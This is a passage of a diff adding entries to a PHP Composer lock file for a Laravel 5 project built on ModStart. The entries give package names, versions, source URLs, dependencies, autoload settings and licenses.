"The Laravel Framework.", + "homepage": "http://laravel.com", + "keywords": [ + "framework", + "laravel" + ], + "time": "2017-03-24T16:31:45+00:00" + }, + { + "name": "league/commonmark", + "version": "0.18.5", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/commonmark.git", + "reference": "f94e18d68260f43a7d846279cad88405854b1306" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/f94e18d68260f43a7d846279cad88405854b1306", + "reference": "f94e18d68260f43a7d846279cad88405854b1306", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": ">=5.6.5" + }, + "replace": { + "colinodell/commonmark-php": "*" + }, + "require-dev": { + "cebe/markdown": "~1.0", + "commonmark/commonmark.js": "0.28", + "erusev/parsedown": "~1.0", + "michelf/php-markdown": "~1.4", + "mikehaertl/php-shellcommand": "^1.2", + "phpunit/phpunit": "^5.7.27|^6.5.14", + "scrutinizer/ocular": "^1.1", + "symfony/finder": "^3.0|^4.0" + }, + "suggest": { + "league/commonmark-extras": "Library of useful extensions including smart punctuation" + }, + "bin": [ + "bin/commonmark" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "0.19-dev" + } + }, + "autoload": { + "psr-4": { + "League\\CommonMark\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Colin O'Dell", + "email": "colinodell@gmail.com", + "homepage": "https://www.colinodell.com", + "role": "Lead Developer" + } + ], + "description": "PHP Markdown parser based on the CommonMark spec", + "homepage": "https://github.com/thephpleague/commonmark", + "keywords": [ + "commonmark", + "markdown", + "parser" + ], + "time": "2019-03-28T13:52:31+00:00" + }, + { + "name": "league/commonmark-ext-table", + "version": "0.9.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/commonmark-ext-table.git", + "reference": "94bc98d802d0b706e748716854e5fa0bd3644df3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/commonmark-ext-table/zipball/94bc98d802d0b706e748716854e5fa0bd3644df3", + "reference": "94bc98d802d0b706e748716854e5fa0bd3644df3", + "shasum": "" + }, + "require": { + "league/commonmark": "^0.16|^0.17|^0.18", + "php": "^5.6|^7.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^2.9", + "phpunit/phpunit": "^5.4|^6.0", + "symfony/var-dumper": "^3.0|^4.0", + "vimeo/psalm": "~0.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "0.9-dev" + } + }, + "autoload": { + "psr-4": { + "Webuni\\CommonMark\\TableExtension\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Martin Hasoň", + "email": "martin.hason@gmail.com" + }, + { + "name": "Webuni s.r.o.", + "homepage": "https://www.webuni.cz" + } + ], + "description": "The table extension for CommonMark PHP implementation", + "homepage": "https://github.com/webuni/commonmark-table-extension", + "keywords": [ + "commonmark", + "markdown", + "table" + ], + "abandoned": "league/commonmark", + "time": "2018-11-28T11:29:11+00:00" + }, + { + "name": "league/flysystem", + "version": "1.0.70", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem.git", + "reference": "585824702f534f8d3cf7fab7225e8466cc4b7493" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/585824702f534f8d3cf7fab7225e8466cc4b7493", + "reference": "585824702f534f8d3cf7fab7225e8466cc4b7493", + "shasum": "" + }, + "require": { + "ext-fileinfo": "*", + "php": ">=5.5.9" + }, + "conflict": { + "league/flysystem-sftp": "<1.0.6" + }, + "require-dev": { + "phpspec/phpspec": "^3.4 || ^4.0 || ^5.0 || ^6.0", + "phpunit/phpunit": "^5.7.26" + }, + "suggest": { + "ext-fileinfo": "Required for MimeType", + "ext-ftp": "Allows you to use FTP server storage", + "ext-openssl": "Allows you to use FTPS server storage", + "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", + "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", + "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", + "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", + "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", + "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", + "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", + "league/flysystem-webdav": "Allows you to use WebDAV storage", + "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter", + "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", + "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + } + }, + "autoload": { + "psr-4": { + "League\\Flysystem\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frenky.net" + } + ], + "description": "Filesystem abstraction: Many filesystems, one API.", + "keywords": [ + "Cloud Files", + "WebDAV", + "abstraction", + "aws", + "cloud", + "copy.com", + "dropbox", + "file systems", + "files", + "filesystem", + "filesystems", + "ftp", + "rackspace", + "remote", + "s3", + "sftp", + "storage" + ], + "funding": [ + { + "url": "https://offset.earth/frankdejonge", + "type": "other" + } + ], + "time": "2020-07-26T07:20:36+00:00" + }, + { + "name": "maatwebsite/excel", + "version": "2.1.30", + "source": { + "type": "git", + "url": "https://github.com/Maatwebsite/Laravel-Excel.git", + "reference": "f5540c4ba3ac50cebd98b09ca42e61f926ef299f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Maatwebsite/Laravel-Excel/zipball/f5540c4ba3ac50cebd98b09ca42e61f926ef299f", + "reference": "f5540c4ba3ac50cebd98b09ca42e61f926ef299f", + "shasum": "" + }, + "require": { + "illuminate/cache": "^5.0", + "illuminate/config": "^5.0", + "illuminate/filesystem": "^5.0", + "illuminate/support": "^5.0", + "jeremeamia/superclosure": "^2.3", + "nesbot/carbon": "~1.0", + "php": ">=5.5", + "phpoffice/phpexcel": "^1.8.1", + "tijsverkoyen/css-to-inline-styles": "~2.0" + }, + "require-dev": { + "mockery/mockery": "~1.0", + "orchestra/testbench": "3.1.*|3.2.*|3.3.*|3.4.*|3.5.*|3.6.*", + "phpseclib/phpseclib": "~1.0", + "phpunit/phpunit": "~4.0" + }, + "suggest": { + "illuminate/http": "^5.0", + "illuminate/queue": "^5.0", + "illuminate/routing": "^5.0", + "illuminate/view": "^5.0" + }, + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Excel": "Maatwebsite\\Excel\\Facades\\Excel" + }, + "providers": [ + "Maatwebsite\\Excel\\ExcelServiceProvider" + ] + } + }, + "autoload": { + "psr-0": { + "Maatwebsite\\Excel\\": "src/" + }, + "classmap": [ + "src/Maatwebsite/Excel" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Maatwebsite.nl", + "email": "patrick@maatwebsite.nl" + } + ], + "description": "Supercharged Excel exports in Laravel", + "keywords": [ + "PHPExcel", + "batch", + "csv", + "excel", + "export", + "import", + "laravel" + ], + "time": "2018-09-04T19:00:09+00:00" + }, + { + "name": "mews/captcha", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/mews-captcha-mix.git", + "reference": "b2998b3f8ad78c022fc6c3960134d346c551f17b" + }, + "require": { + "ext-gd": "*", + "illuminate/config": "~5.0", + "illuminate/filesystem": "~5.0", + "illuminate/hashing": "~5.0", + "illuminate/support": "~5.0", + "intervention/image": "~2.2", + "php": ">=5.4" + }, + "require-dev": { + "mockery/mockery": "0.9.*", + "phpunit/phpunit": "~4.1" + }, + "type": "package", + "extra": { + "laravel": { + "providers": [ + "Mews\\Captcha\\CaptchaServiceProvider" + ], + "aliases": { + "Captcha": "Mews\\Captcha\\Facades\\Captcha" + } + } + }, + "autoload": { + "psr-4": { + "Mews\\Captcha\\": "src/" + }, + "files": [ + "src/helpers.php" + ] + }, + "autoload-dev": { + "classmap": [ + "tests" + ], + "psr-4": { + "Mews\\Test\\": "tests/" + } + }, + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Muharrem ERİN", + "email": "me@mewebstudio.com", + "homepage": "https://github.com/mewebstudio", + "role": "Developer" + } + ], + "description": "Laravel 5 Captcha Package", + "homepage": "https://github.com/mewebstudio/captcha", + "keywords": [ + "Captcha", + "laravel5 Captcha", + "laravel5 Security" + ], + "time": "2021-10-25T06:58:06+00:00" + }, + { + "name": "mobiledetect/mobiledetectlib", + "version": "2.8.45", + "source": { + "type": "git", + "url": "https://github.com/serbanghita/Mobile-Detect.git", + "reference": "96aaebcf4f50d3d2692ab81d2c5132e425bca266" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/serbanghita/Mobile-Detect/zipball/96aaebcf4f50d3d2692ab81d2c5132e425bca266", + "reference": "96aaebcf4f50d3d2692ab81d2c5132e425bca266", + "shasum": "" + }, + "require": { + "php": ">=5.0.0" + }, + "require-dev": { + "phpunit/phpunit": "~4.8.36" + }, + "type": "library", + "autoload": { + "psr-0": { + "Detection": "namespaced/" + }, + "classmap": [ + "Mobile_Detect.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Serban Ghita", + "email": "serbanghita@gmail.com", + "homepage": "http://mobiledetect.net", + "role": "Developer" + } + ], + "description": "Mobile_Detect is a lightweight PHP class for detecting mobile devices. It uses the User-Agent string combined with specific HTTP headers to detect the mobile environment.", + "homepage": "https://github.com/serbanghita/Mobile-Detect", + "keywords": [ + "detect mobile devices", + "mobile", + "mobile detect", + "mobile detector", + "php mobile detect" + ], + "funding": [ + { + "url": "https://github.com/serbanghita", + "type": "github" + } + ], + "time": "2023-11-07T21:57:25+00:00" + }, + { + "name": "modstart/modstart", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/modstart.git", + "reference": "0e61234812a4bd8859392977e61caacb668c4971" + }, + "require": { + "arvenil/ninja-mutex": "^0.6.0", + "bacon/bacon-qr-code": "*", + "doctrine/dbal": "^2.5", + "ext-curl": "*", + "ext-json": "*", + "ezyang/htmlpurifier": "dev-master", + "intervention/image": "^2.3", + "jenssegers/agent": "v2.6.4", + "php": ">=5.5.9", + "predis/predis": "^1.1" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "ModStart\\ModStartServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "ModStart\\": "src", + "Chumper\\Zipper\\": "src/Misc/Zipper" + }, + "files": [ + "src/helpers.php" + ] + }, + "license": [ + "Apache 2.0" + ], + "authors": [ + { + "name": "ModStart", + "email": "modstart@163.com" + } + ], + "description": "modstart", + "homepage": "https://github.com/modstart/modstart", + "keywords": [ + "admin", + "laravel" + ], + "time": "2025-05-13T06:06:10+00:00" + }, + { + "name": "modstart/modstart-laravel5", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/modstart-laravel5.git", + "reference": "e2375cc3d235c31cc1d83ede5c5c50e852ef07f6" + }, + "require": { + "ext-curl": "*", + "ext-json": "*", + "guzzlehttp/guzzle": "~6.0", + "league/commonmark": "0.18.5", + "league/commonmark-ext-table": "0.9.0", + "maatwebsite/excel": "~2.1.10", + "mews/captcha": "dev-master", + "modstart/modstart": "dev-master", + "php": ">=5.5.9", + "psr/simple-cache": "^1.0", + "w7corp/easywechat": "dev-master" + }, + "type": "library", + "license": [ + "Apache 2.0" + ], + "authors": [ + { + "name": "ModStart", + "email": "modstart@163.com" + } + ], + "description": "modstart", + "homepage": "https://github.com/modstart/modstart-laravel5", + "keywords": [ + "admin", + "laravel" + ], + "time": "2022-06-27T09:47:31+00:00" + }, + { + "name": "monolog/monolog", + "version": "1.27.1", + "source": { + "type": "git", + "url": "https://github.com/Seldaek/monolog.git", + "reference": "904713c5929655dc9b97288b69cfeedad610c9a1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Seldaek/monolog/zipball/904713c5929655dc9b97288b69cfeedad610c9a1", + "reference": "904713c5929655dc9b97288b69cfeedad610c9a1", + "shasum": "" + }, + "require": { + "php": ">=5.3.0", + "psr/log": "~1.0" + }, + "provide": { + "psr/log-implementation": "1.0.0" + }, + "require-dev": { + "aws/aws-sdk-php": "^2.4.9 || ^3.0", + "doctrine/couchdb": "~1.0@dev", + "graylog2/gelf-php": "~1.0", + "php-amqplib/php-amqplib": "~2.4", + "php-console/php-console": "^3.1.3", + "phpstan/phpstan": "^0.12.59", + "phpunit/phpunit": "~4.5", + "ruflin/elastica": ">=0.90 <3.0", + "sentry/sentry": "^0.13", + "swiftmailer/swiftmailer": "^5.3|^6.0" + }, + "suggest": { + "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", + "doctrine/couchdb": "Allow sending log messages to a CouchDB server", + "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", + "ext-mongo": "Allow sending log messages to a MongoDB server", + "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", + "mongodb/mongodb": "Allow sending log messages to a MongoDB server via PHP Driver", + "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", + "php-console/php-console": "Allow sending log messages to Google Chrome", + "rollbar/rollbar": "Allow sending log messages to Rollbar", + "ruflin/elastica": "Allow sending log messages to an Elastic Search server", + "sentry/sentry": "Allow sending log messages to a Sentry server" + }, + "type": "library", + "autoload": { + "psr-4": { + "Monolog\\": "src/Monolog" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + } + ], + "description": "Sends your logs to files, sockets, inboxes, databases and various web services", + "homepage": "http://github.com/Seldaek/monolog", + "keywords": [ + "log", + "logging", + "psr-3" + ], + "funding": [ + { + "url": "https://github.com/Seldaek", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/monolog/monolog", + "type": "tidelift" + } + ], + "time": "2022-06-09T08:53:42+00:00" + }, + { + "name": "mtdowling/cron-expression", + "version": "v1.2.3", + "source": { + "type": "git", + "url": "https://github.com/mtdowling/cron-expression.git", + "reference": "9be552eebcc1ceec9776378f7dcc085246cacca6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/mtdowling/cron-expression/zipball/9be552eebcc1ceec9776378f7dcc085246cacca6", + "reference": "9be552eebcc1ceec9776378f7dcc085246cacca6", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "~4.0|~5.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Cron\\": "src/Cron/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + } + ], + "description": "CRON for PHP: Calculate the next or previous run date and determine if a CRON expression is due", + "keywords": [ + "cron", + "schedule" + ], + "abandoned": "dragonmantank/cron-expression", + "time": "2019-12-28T04:23:06+00:00" + }, + { + "name": "nesbot/carbon", + "version": "1.39.1", + "source": { + "type": "git", + "url": "https://github.com/CarbonPHP/carbon.git", + "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/4be0c005164249208ce1b5ca633cd57bdd42ff33", + "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33", + "shasum": "" + }, + "require": { + "kylekatarnls/update-helper": "^1.1", + "php": ">=5.3.9", + "symfony/translation": "~2.6 || ~3.0 || ~4.0" + }, + "require-dev": { + "composer/composer": "^1.2", + "friendsofphp/php-cs-fixer": "~2", + "phpunit/phpunit": "^4.8.35 || ^5.7" + }, + "bin": [ + "bin/upgrade-carbon" + ], + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Carbon\\Laravel\\ServiceProvider" + ] + }, + "update-helper": "Carbon\\Upgrade" + }, + "autoload": { + "psr-4": { + "": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Brian Nesbitt", + "email": "brian@nesbot.com", + "homepage": "http://nesbot.com" + } + ], + "description": "A simple API extension for DateTime.", + "homepage": "http://carbon.nesbot.com", + "keywords": [ + "date", + "datetime", + "time" + ], + "funding": [ + { + "url": "https://github.com/kylekatarnls", + "type": "github" + }, + { + "url": "https://opencollective.com/Carbon", + "type": "open_collective" + }, + { + "url": "https://tidelift.com/funding/github/packagist/nesbot/carbon", + "type": "tidelift" + } + ], + "time": "2019-10-14T05:51:36+00:00" + }, + { + "name": "nikic/php-parser", + "version": "v2.1.1", + "source": { + "type": "git", + "url": "https://github.com/nikic/PHP-Parser.git", + "reference": "4dd659edadffdc2143e4753df655d866dbfeedf0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/4dd659edadffdc2143e4753df655d866dbfeedf0", + "reference": "4dd659edadffdc2143e4753df655d866dbfeedf0", + "shasum": "" + }, + "require": { + "ext-tokenizer": "*", + "php": ">=5.4" + }, + "require-dev": { + "phpunit/phpunit": "~4.0" + }, + "bin": [ + "bin/php-parse" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.1-dev" + } + }, + "autoload": { + "psr-4": { + "PhpParser\\": "lib/PhpParser" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Nikita Popov" + } + ], + "description": "A PHP parser written in PHP", + "keywords": [ + "parser", + "php" + ], + "time": "2016-09-16T12:04:44+00:00" + }, + { + "name": "paragonie/random_compat", + "version": "v1.4.3", + "source": { + "type": "git", + "url": "https://github.com/paragonie/random_compat.git", + "reference": "9b3899e3c3ddde89016f576edb8c489708ad64cd" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paragonie/random_compat/zipball/9b3899e3c3ddde89016f576edb8c489708ad64cd", + "reference": "9b3899e3c3ddde89016f576edb8c489708ad64cd", + "shasum": "" + }, + "require": { + "php": ">=5.2.0" + }, + "require-dev": { + "phpunit/phpunit": "4.*|5.*" + }, + "suggest": { + "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes." + }, + "type": "library", + "autoload": { + "files": [ + "lib/random.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paragon Initiative Enterprises", + "email": "security@paragonie.com", + "homepage": "https://paragonie.com" + } + ], + "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7", + "keywords": [ + "csprng", + "pseudorandom", + "random" + ], + "time": "2018-04-04T21:48:54+00:00" + }, + { + "name": "phpoffice/phpexcel", + "version": "1.8.2", + "source": { + "type": "git", + "url": "https://github.com/PHPOffice/PHPExcel.git", + "reference": "1441011fb7ecdd8cc689878f54f8b58a6805f870" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPOffice/PHPExcel/zipball/1441011fb7ecdd8cc689878f54f8b58a6805f870", + "reference": "1441011fb7ecdd8cc689878f54f8b58a6805f870", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "ext-xml": "*", + "ext-xmlwriter": "*", + "php": "^5.2|^7.0" + }, + "require-dev": { + "squizlabs/php_codesniffer": "2.*" + }, + "type": "library", + "autoload": { + "psr-0": { + "PHPExcel": "Classes/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-2.1" + ], + "authors": [ + { + "name": "Maarten Balliauw", + "homepage": "http://blog.maartenballiauw.be" + }, + { + "name": "Erik Tilt" + }, + { + "name": "Franck Lefevre", + "homepage": "http://rootslabs.net" + }, + { + "name": "Mark Baker", + "homepage": "http://markbakeruk.net" + } + ], + "description": "PHPExcel - OpenXML - Read, Create and Write Spreadsheet documents in PHP - Spreadsheet engine", + "homepage": "https://github.com/PHPOffice/PHPExcel", + "keywords": [ + "OpenXML", + "excel", + "php", + "spreadsheet", + "xls", + "xlsx" + ], + "abandoned": "phpoffice/phpspreadsheet", + "time": "2018-11-22T23:07:24+00:00" + }, + { + "name": "pimple/pimple", + "version": "v3.2.3", + "source": { + "type": "git", + "url": "https://github.com/silexphp/Pimple.git", + "reference": "9e403941ef9d65d20cba7d54e29fe906db42cf32" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/silexphp/Pimple/zipball/9e403941ef9d65d20cba7d54e29fe906db42cf32", + "reference": "9e403941ef9d65d20cba7d54e29fe906db42cf32", + "shasum": "" + }, + "require": { + "php": ">=5.3.0", + "psr/container": "^1.0" + }, + "require-dev": { + "symfony/phpunit-bridge": "^3.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.2.x-dev" + } + }, + "autoload": { + "psr-0": { + "Pimple": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + } + ], + "description": "Pimple, a simple Dependency Injection Container", + "homepage": "http://pimple.sensiolabs.org", + "keywords": [ + "container", + "dependency injection" + ], + "time": "2018-01-21T07:42:36+00:00" + }, + { + "name": "predis/predis", + "version": "v1.1.10", + "source": { + "type": "git", + "url": "https://github.com/predis/predis.git", + "reference": "a2fb02d738bedadcffdbb07efa3a5e7bd57f8d6e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/predis/predis/zipball/a2fb02d738bedadcffdbb07efa3a5e7bd57f8d6e", + "reference": "a2fb02d738bedadcffdbb07efa3a5e7bd57f8d6e", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "require-dev": { + "phpunit/phpunit": "~4.8" + }, + "suggest": { + "ext-curl": "Allows access to Webdis when paired with phpiredis", + "ext-phpiredis": "Allows faster serialization and deserialization of the Redis protocol" + }, + "type": "library", + "autoload": { + "psr-4": { + "Predis\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniele Alessandri", + "email": "suppakilla@gmail.com", + "homepage": "http://clorophilla.net", + "role": "Creator & Maintainer" + }, + { + "name": "Till Krüss", + "homepage": "https://till.im", + "role": "Maintainer" + } + ], + "description": "Flexible and feature-complete Redis client for PHP and HHVM", + "homepage": "http://github.com/predis/predis", + "keywords": [ + "nosql", + "predis", + "redis" + ], + "funding": [ + { + "url": "https://github.com/sponsors/tillkruss", + "type": "github" + } + ], + "time": "2022-01-05T17:46:08+00:00" + }, + { + "name": "psr/container", + "version": "1.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f", + "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "time": "2017-02-14T16:28:37+00:00" + }, + { + "name": "psr/http-message", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-message.git", + "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363", + "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP messages", + "homepage": "https://github.com/php-fig/http-message", + "keywords": [ + "http", + "http-message", + "psr", + "psr-7", + "request", + "response" + ], + "time": "2016-08-06T14:39:51+00:00" + }, + { + "name": "psr/log", + "version": "1.1.4", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "Psr/Log/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "time": "2021-05-03T11:20:27+00:00" + }, + { + "name": "psr/simple-cache", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/php-fig/simple-cache.git", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\SimpleCache\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interfaces for simple caching", + "keywords": [ + "cache", + "caching", + "psr", + "psr-16", + "simple-cache" + ], + "time": "2017-10-23T01:57:42+00:00" + }, + { + "name": "psy/psysh", + "version": "v0.7.2", + "source": { + "type": "git", + "url": "https://github.com/bobthecow/psysh.git", + "reference": "e64e10b20f8d229cac76399e1f3edddb57a0f280" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/bobthecow/psysh/zipball/e64e10b20f8d229cac76399e1f3edddb57a0f280", + "reference": "e64e10b20f8d229cac76399e1f3edddb57a0f280", + "shasum": "" + }, + "require": { + "dnoegel/php-xdg-base-dir": "0.1", + "jakub-onderka/php-console-highlighter": "0.3.*", + "nikic/php-parser": "^1.2.1|~2.0", + "php": ">=5.3.9", + "symfony/console": "~2.3.10|^2.4.2|~3.0", + "symfony/var-dumper": "~2.7|~3.0" + }, + "require-dev": { + "fabpot/php-cs-fixer": "~1.5", + "phpunit/phpunit": "~3.7|~4.0|~5.0", + "squizlabs/php_codesniffer": "~2.0", + "symfony/finder": "~2.1|~3.0" + }, + "suggest": { + "ext-pcntl": "Enabling the PCNTL extension makes PsySH a lot happier :)", + "ext-pdo-sqlite": "The doc command requires SQLite to work.", + "ext-posix": "If you have PCNTL, you'll want the POSIX extension as well.", + "ext-readline": "Enables support for arrow-key history navigation, and showing and manipulating command history." + }, + "bin": [ + "bin/psysh" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-develop": "0.8.x-dev" + } + }, + "autoload": { + "files": [ + "src/Psy/functions.php" + ], + "psr-4": { + "Psy\\": "src/Psy/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Justin Hileman", + "email": "justin@justinhileman.info", + "homepage": "http://justinhileman.com" + } + ], + "description": "An interactive shell for modern PHP.", + "homepage": "http://psysh.org", + "keywords": [ + "REPL", + "console", + "interactive", + "shell" + ], + "time": "2016-03-09T05:03:14+00:00" + }, + { + "name": "ralouphie/getallheaders", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/ralouphie/getallheaders.git", + "reference": "120b605dfeb996808c31b6477290a714d356e822" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822", + "reference": "120b605dfeb996808c31b6477290a714d356e822", + "shasum": "" + }, + "require": { + "php": ">=5.6" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^5 || ^6.5" + }, + "type": "library", + "autoload": { + "files": [ + "src/getallheaders.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ralph Khattar", + "email": "ralph.khattar@gmail.com" + } + ], + "description": "A polyfill for getallheaders.", + "time": "2019-03-08T08:55:37+00:00" + }, + { + "name": "swiftmailer/swiftmailer", + "version": "v5.4.12", + "source": { + "type": "git", + "url": "https://github.com/swiftmailer/swiftmailer.git", + "reference": "181b89f18a90f8925ef805f950d47a7190e9b950" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/swiftmailer/swiftmailer/zipball/181b89f18a90f8925ef805f950d47a7190e9b950", + "reference": "181b89f18a90f8925ef805f950d47a7190e9b950", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + 